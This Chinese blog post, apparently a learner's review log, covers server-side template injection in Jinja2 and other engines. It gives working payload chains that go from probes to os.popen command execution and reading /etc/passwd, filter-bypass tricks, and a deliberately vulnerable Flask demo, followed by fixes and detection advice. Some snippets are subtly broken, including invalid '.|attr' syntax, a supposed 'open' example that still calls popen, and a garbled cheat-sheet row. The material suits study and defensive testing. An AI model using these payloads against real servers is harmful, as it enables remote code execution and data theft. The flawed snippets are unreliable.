☰
SSTI专项复习:从模板注入原理到命令执行与防御实战
2026/10/19 10:43:33 网站建设 项目流程

5月14号这天,我给自己安排了一次SSTI的专项复习。服务端模板注入,Server-Side Template Injection,这名字听起来唬人,但本质上就是攻击者把自己的输入当成了模板代码的一部分,让服务器在渲染模板时执行了不该执行的逻辑。花了一整天,把原理、探测、绕过、防御整个串了一遍,踩了几个坑,也把一些以前模棱两可的细节彻底弄清楚了。这篇就把我那天复习的过程和心得完整记录下来,给同样在啃Web安全的同学一份参考。

先说结论:SSTI之所以值得单独花一天复习,是因为它经常隐藏得很深,而且一旦打通,往往是直接拿到服务器权限的路径,严重程度不亚于反序列化。很多开发者知道SQL注入、知道XSS,但很少注意模板渲染这层,于是漏洞就这么被留下来了。

1. 从原理到现象:SSTI为什么会发生

1.1 模板引擎的工作方式

要理解SSTI,先得理解模板引擎本身。大多数Web框架都有模板系统,作用是让展示层和逻辑层分离。拿Python生态来说,Flask默认配Jinja2,Django内置自己的模板,PHP那边有Twig、Smarty,Java那边有Freemarker、Velocity、Thymeleaf。

模板文件中会有占位符,比如Jinja2里写{{ user.name }},渲染时会用真实变量替换掉它。这个机制本来是安全的,因为占位符里本应只放变量名或者简单表达式。但当开发者把用户的输入直接拼接到模板字符串里,或者用户可以控制模板的内容时,问题就出现了。

我复习时用了个最简单的类比:模板引擎就像一个翻译官,它把模板里的{{ x }}当成一句“把变量x的值填到这儿”,但如果有人塞进一句{{ x.__class__ }},翻译官照样会照做,因为从语法角度这只不过是一个更复杂的表达式。更进一步,__class__能拿到当前对象所在的类,有了类就能找基类、找子类、找__globals__,一路摸到系统命令执行的入口。这就是SSTI从“漏洞”升级为“命令执行”的核心链路。

1.2 漏洞诞生的两种典型场景

复习时我把SSTI的成因归纳成两种,后面做检测和修复都会用到。

一种是完全可控的模板内容,常见于“模板在线设计”“邮件模板编辑”“页面自定义”这类功能。应用允许用户上传来定义模板,但如果后台没有做权限隔离和沙箱,任何用户都能让模板引擎执行任意代码。这种情况漏洞级别最高,几乎没有门槛。

另一种最常发生在实际漏洞挖掘里,是部分可控的模板拼接。比如一个报错页面这么写:

return render_template_string("Hello " + request.args.get('name'))

攻击者请求/?name={{config}},代码拼接后变成Hello {{config}},模板引擎就会去解析config变量。如果是Jinja2,{{config}}会输出Flask的配置信息,里面可能带着SECRET_KEY。这只是第一步,但足以确认SSTI的存在。

这两种场景有一个共通的判断标准:用户输入是否被当作模板语法解析了。如果输入里带{{ }}或{% %}等语法符号后,输出的内容发生了变化或者产生异常,那就是SSTI的典型信号。

2. 复习核心:探测与确认的完整流程

2.1 先做数学题:7乘7分胜负

我之前挖漏洞有个习惯,看见参数就先用{{7*7}}试一下。{{7*7}}在Jinja2里会输出49;如果是PHP的Twig,{{7*7}}也输出49;但如果在Freemarker里,写法是${7*7}。这一下就能区分是哪种引擎方向。

这一步看起来简单,但有几个细节会让新手翻车:

  • 参数会被URL编码,*要写成%2A,{要写成%7B。我那天复习时直接拿Burp Suite的Repeater发包,它会自动处理编码,省了很多事。
  • 有些应用会在模板渲染前做过滤,比如只过滤了config关键字,但7*7这类纯数字运算往往不被拦截,所以它是第一优先级的探测项。
  • 如果返回结果里没有49而是直接报了500,也未必是没漏洞,有可能是模板语法报错被吞了。这时候就要看响应体的差异,甚至同时准备一个正常请求做对比。

我整理了一个快速区分引擎的表:

模板引擎测试语法(能输出42)备注
Jinja2 / Twig{{7*6}}最常见,Python/PHP框架在用
Freemarker${7*6}Java体系,老系统里常碰到
Velocity#set($x=7*6)${x}老Java系统,语法特殊
Smarty{7*6}PHP,有时要启用php标签
Thymeleaf[[${7*6}]]或th:textSpring Boot场景常见

2.2 确认引擎之后,再验证目标对象

{{7*7}}输出49还不能百分之百说明能利用到命令执行,因为有些模板处于受限沙箱里。接下来要探测的是能不能访问到危险的敏感对象。

Jinja2环境里,我会依次试这几个:

{{ config }} # 看配置信息有没有回显 {{ self }} # 看当前模板对象 {{ self.__class__ }} # 看类对象 {{ ''.__class__ }} # 字符串对应的类 {{ ''.__class__.__mro__ }} # 查看继承链

__mro__很重要,它列出当前类的所有基类。SSTI后续利用的核心思路就是:从某个对象的类出发,通过__mro__找到object基类,再从object的子类里找subclasses(),然后从中筛选出可以执行命令或者读取文件的类。用一句话概括就是——一切对象皆可遍历,一切类皆可获得。

如果上面某个请求返回了包含class信息的字典,那就说明沙箱限制很低,可以继续往下走。如果返回是空或者直接报错,那就是有过滤或者沙箱,需要转入绕过环节。

3. 实战分析:payload 构造思路与绕过技巧

3.1 从类到调用链:无过滤环境下的直达路径

复习SSTI时最爽的就是无过滤环境。Jinja2的一句话payload是这样的:

{{ ''.__class__.__mro__[1].__subclasses__() }}

它把全站加载的所有类都列出来,可能有几百上千个。这里面就能找到subprocess.Popen或者os.system等可利用类。

我复习时更偏好方法一:先列出子类,再在结果里找名字。比如:

{{ ''.__class__.__mro__[1].__subclasses__() }}

搜索Popen或者warnings.catch_warnings。如果一个都没有,那就用os相关的类。我记得有个老靶场环境里,os.system并不在子类列表,但能通过linecache相关类来辅助读取文件,也能绕。

能命令执行之后,我习惯先弹一个无害的结果回来验证,比如执行id命令:

{{ ''.__class__.__mro__[1].__subclasses__()[index].__init__.__globals__['os'].popen('id').read() }}

其中index要替换成_popen等下标的数字位置。这一步真要把子类列表拉出来数位置,不能瞎猜。我那天复习时写了个本地脚本,直接把Jinja2环境里子类的下标和名字打印出来,省得手工数数。

3.2 常见过滤:关键字被ban了怎么办

实际靶场里很少让你舒舒服服地打。最常见的是过滤了__class__、__globals__、os、popen这些关键字。复习这天我重点练了三种思路:

第一种是字符串拼接绕过。比如过滤了popen,但可以用'po'+'pen'来构造。在Jinja2里,直接用加号连接字符串是允许的:

{{ ''.__class__.__mro__[1].__subclasses__()[index].__init__.__globals__['o'+'s'].popen('id').read() }}

第二种是用attr过滤器代替点号访问。点号访问实际上就是取属性,所以当过滤了__符号时,可以用|attr过滤器:

{{ ''.__class__ }}

等价于:

{{ ''.|attr('__class__') }}

注意这里字符串'__class__'本身没有下划线过滤问题,如果下划线也被过滤,那就再用拼接:

{{ ''.|attr('__cl'+'ass__') }}

结合起来就是:

{{ ''.|attr('__cl'+'ass__')|attr('__mr'+'o__') }}

第三种是过滤器链试探。Jinja2内置了attr、join、format、map、select这些过滤器,组合起来能做掉大部分过滤。比如要读文件,可用open替代popen:

{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}

如果os直接被ban,可以考虑用__import__('os')绕过,注意这个函数也是被过滤的备选项。

3.3 心里要有底线:不是每个SSTI都能RCE

复习到一半我特意提醒自己:别把SSTI想得太万能。有些模板引擎默认启用了安全配置,比如PHP的Twig在设了sandbox后用起来会很受限,Java的Freemarker因为模板机制不同,很多老版本里没有__subclasses__这种自省通道,要到达命令执行就得借助已有的静态类和方法。碰到这种场景,能做的事情可能仅限于读取一些应用变量,甚至只是泄露了框架版本号。能RCE是运气加环境的组合,不能RCE也要能给出完整的技术判断,这本身就是一个合格的测试交付物。

4. 实操记录:一次完整的复现演练

4.1 搭了个最小环境

为了复习这一天,我先搭了一个本地环境。用的工具是Flask加Jinja2,在虚拟环境里写了个极其简单的接口:

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/hello') def hello(): name = request.args.get('name', '') template = "<h1>Hello, " + name + "</h1>" return render_template_string(template) if __name__ == '__main__': app.run(debug=True, host='127.0.0.1', port=5000)

这个代码漏洞明显到有点刻意,就是专门为了复现“字符串拼接模板”这种经典错误。跑起来后,先在浏览器里访问:

http://127.0.0.1:5000/hello?name=world

页面输出了Hello, world。再访问:

http://127.0.0.1:5000/hello?name={{7*7}}

页面变成了Hello, 49。SSTI实锤。

4.2 利用链完整打通

确认之后我开始尝试拿shell。用Burp Suite的Repeater一步步来:

第一步,先列子类:

GET /hello?name={{''.__class__.__mro__[1].__subclasses__()}} HTTP/1.1

响应的body里出现了URL编码后的一长串类列表。这个列表太长了,我直接复制到本地Python脚本里解析,把下标和类名对应起来。

第二步,找subprocess.Popen的下标。我在我本地环境里它的顺序恰好是第 407 位,但不同环境必然不同,写脚本自动找位子才靠谱。脚本如下:

import importlib import jinja2 env = jinja2.Environment() # 模拟模板中的对象 obj = ''.__class__.__mro__[1] subclasses = obj.__subclasses__() for idx, cls in enumerate(subclasses): if 'Popen' in str(cls): print(idx, cls)

第三步,构造最终payload:

{{ ''.__class__.__mro__[1].__subclasses__()[407].__init__.__globals__['os'].popen('id').read() }}

但那天的环境里,这个Popen类的__globals__不一定有os这个变量名,要先用__globals__.keys()看一下。我记得调试时卡了好一会儿,最后发现需要用.get('os')来避免KeyError。最终能正常回显uid和gid,命令执行成功。

4.3 再向后延伸一步

拿到命令执行之后,我又试了读取文件。这次换了个思路,用linecache类直接读源码:

{{ ''.__class__.__mro__[1].__subclasses__()[xxx].__init__.__globals__['linecache'].getline('/etc/passwd', 1) }}

Java环境里思路略有不同,但命令执行的思路是通用的。关键的点在于:从一个类出发,找到其__globals__,再在全局命名空间里找可用的模块和方法,实际上就是在攻击者的控制下复刻了一个“交互式Python解释器”的入口。

4.4 这一轮复习的现场心得

当天复现过程中有几点小体会:

  • 模板字符串的报错信息非常重要。如果构造的语法有问题,某些开发模式下Flask会返回详细的traceback,这等于白送代码和源码路径。测试时看到大段的异常堆栈,别急着划走,先看模板代码片段。
  • 编码问题经常毁掉payload。在URL里用#有可能被当成锚点截断,要用%23编码。{{也建议直接编码传参,防止WAF或前置层解析。
  • 每次请求都要观察响应之间的差异。有些过滤是直接返回400,有些是返回200但是内容里没有计算结果。学会看差异比死记payload更靠谱。

5. 从攻击回到防御:修复与检测方案复习

5.1 开发者最容易踩的坑

复习的最终目的是能给出修复建议,不然测试报告写了漏洞却很空洞。

最基础的修复,是先写一段错误代码再看正确写法:

错误写法:

return render_template_string("Hello " + name)

正确写法:

return render_template_string("Hello {{ name }}", name=name)

原理很简单:用户输入应该作为变量传递,而不是作为模板的一部分。只要不给模板解析器接触原始输入的机会,SSTI就少了一大半。

接下来是输入过滤和校验。作为纵深防御,哪怕采用了变量传参,也要对输入做白名单校验。比如只允许字母、数字、下划线、连字符,长度限制在几十个字符,那些{{、}}、${、<%等模板语法字符直接视为非法输入。白名单比黑名单靠谱,因为模板语法的变体太多。

再往下是最小权限和沙箱隔离。如果业务硬要实现模板自定义功能,那就必须把模板引擎放进受限沙箱里,关闭危险的内置函数和模块访问。Jinja2有SandboxedEnvironment,Twig有Sandbox Extension。但要注意,沙箱不是万能保险箱,历史上多款模板引擎的沙箱都被绕过过,所以最小权限原则要落到操作系统层面:运行Web服务的账号不就要有文件系统写权限,不应该能访问高价值的应用目录。

5.2 自动化检测的几个思路

检测SSTI的自动化思路,我复习到三条主路:

一条是静态代码审计。搜索代码里所有render_template_string这类函数调用,逐个看第一个参数是否包含外部可控数据,是否做了拼接。这个用常规的静态扫描工具+人工确认就能执行。

另一条是动态fuzz检测。构造一组带模板语法的请求,发送后比对响应。比如请求name={{7*7}},看页面源码里有没有“49”这个特征;再请求name={{'a'*10}},看有没有“aaaaaaaaaa”。发现匹配就说明模板被解析了。自动化扫描时要把这些特征组合在一个请求包里,而不是只测一次。

再一条是流量监控。在WAF层面对模板语法特征做正则拦截。虽然正则不一定能覆盖全部payload变体,但可以作为基线能力,拦截那些最基础的试探行为。重点是检测参数值中的{{、}}、${、#{等双字符组合。

5.3 修复后的验证方法

修复做完要回归验证。我最常用的验证方法是把之前成功的payload原样打一遍,确认返回不再是49,也不再出现traceback,而是被当作普通字符串输出。另外再把语法字符做URL编码后打一遍,防止修复点是“碰巧”拦截了明文。

我建议每个安全测试团队都准备一个小清单:对每个模板引擎,至少准备5~8条不同的探测payload,分布在算术、变量访问、过滤器调用、子类遍历四个方向。这几个方向的payload覆盖了SSTI利用的大部分路径,一旦某个方向回归失败,就能快速定位是哪层防护被绕过。

6. 复习中踩过的坑与速查卡片

6.1 值得记录的三个坑

第一个坑:类下标不是固定的。刚开始复现时,我直接搜索网上的exp,里面写死了一个下标,本机一测根本不通。原因很简单,不同框架版本、不同依赖、不同模板内容都会影响__subclasses__()列表的顺序。正确做法是自己先拉一次列表,再定位。拿经验数据盲打,很大概率白忙一趟。

第二个坑:筛选Popen的时候过滤不干净。我在脚本里直接判断'Popen' in str(cls),结果把好几个带了Popen字样的错误类也筛了出来,其中一些__init__并不是常规的。后来改为准确匹配"subprocess.Popen",才找到真正能用的那个。

第三个坑:把CSRF和SSTI混在一起了。某些带表单的应用在SSTI探测前还套了一层CSRF Token,导致每次请求都要先取Token,一开始没注意,一直报401。这个虽然和SSTI本身无关,但提醒我任何漏洞测试前都要先搞懂应用的请求流程,别一上来就闷头注payload。

6.2 我整理的一张速查表

目的表达式适用
算术探测{{7*7}}Jinja2 / Twig,最先发
探测变量{{config}}Jinja2 / Flask
取当前类{{''.__class__}}通用Python模板
拿基类{{''.__class__.__mro__}}查看对象链
列全部子类{{''.__class__.__mro__[1].__subclasses__()}}经典利用前置
命令执行{{''.__class__.__mro__[1].__subclasses__()[id].__init__.__globals__['os'].popen('id').read()}}无沙箱环境
属性访问Filter`{{''attr('class')}}`
字符串拼接{{'po'+'pen'}}关键字被过滤时

6.3 后续还能怎么延展

复习完当天,我又额外思考了SSTI和其他漏洞的结合。比如SSTI配合存储型XSS:模板渲染结果会存入数据库再展示,这样每次页面加载都触发一次模板解析;再比如SSTI配合文件上传:攻击者上传一个包含模板表达式的文件名,只要后台渲染文件名,就有机会触发。这类组合在实际场景里并不少见,比单一SSTI更难防御,也更考验完整链路的评审能力。

如果要把这块继续吃透,我下一步打算把重心放在Java模板引擎的专项上,尤其是Freemarker和Thymeleaf在真实业务里的差异,还有PHP的Twig沙箱绕过细节。毕竟遇到SSTI的站点,不可能只会遇到Python写的。


最后说句实在话。5月14号这一整天的SSTI复习,带给我最大的收获不是记住多少条payload,而是把一条Hidden漏洞从“可疑参数”到“命令回显”乃至“修复闭环”的完整链路拉通了一遍。以前看SSTI总觉得它像玄学,要么找不到利用点,要么找到了exp却打不通。现在回头看,这门技术的核心规律就一句话:用户的输入一旦被放进模板语法里,就不再是数据,而是代码。你顺着这个思路去构造探测、去看回显、去绕过滤,其实是顺理成章的事。

如果你也在复习同类知识,建议别只盯着搜索引擎里的现成payload,花一点时间搞清楚__mro__和__subclasses__()到底做了什么,再对照自己本地的环境写一遍自动化脚本。把原理吃透之后,你会发现自己能推导出绝大部分payload,而不是死记硬背。这比收藏一万条exp都管用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询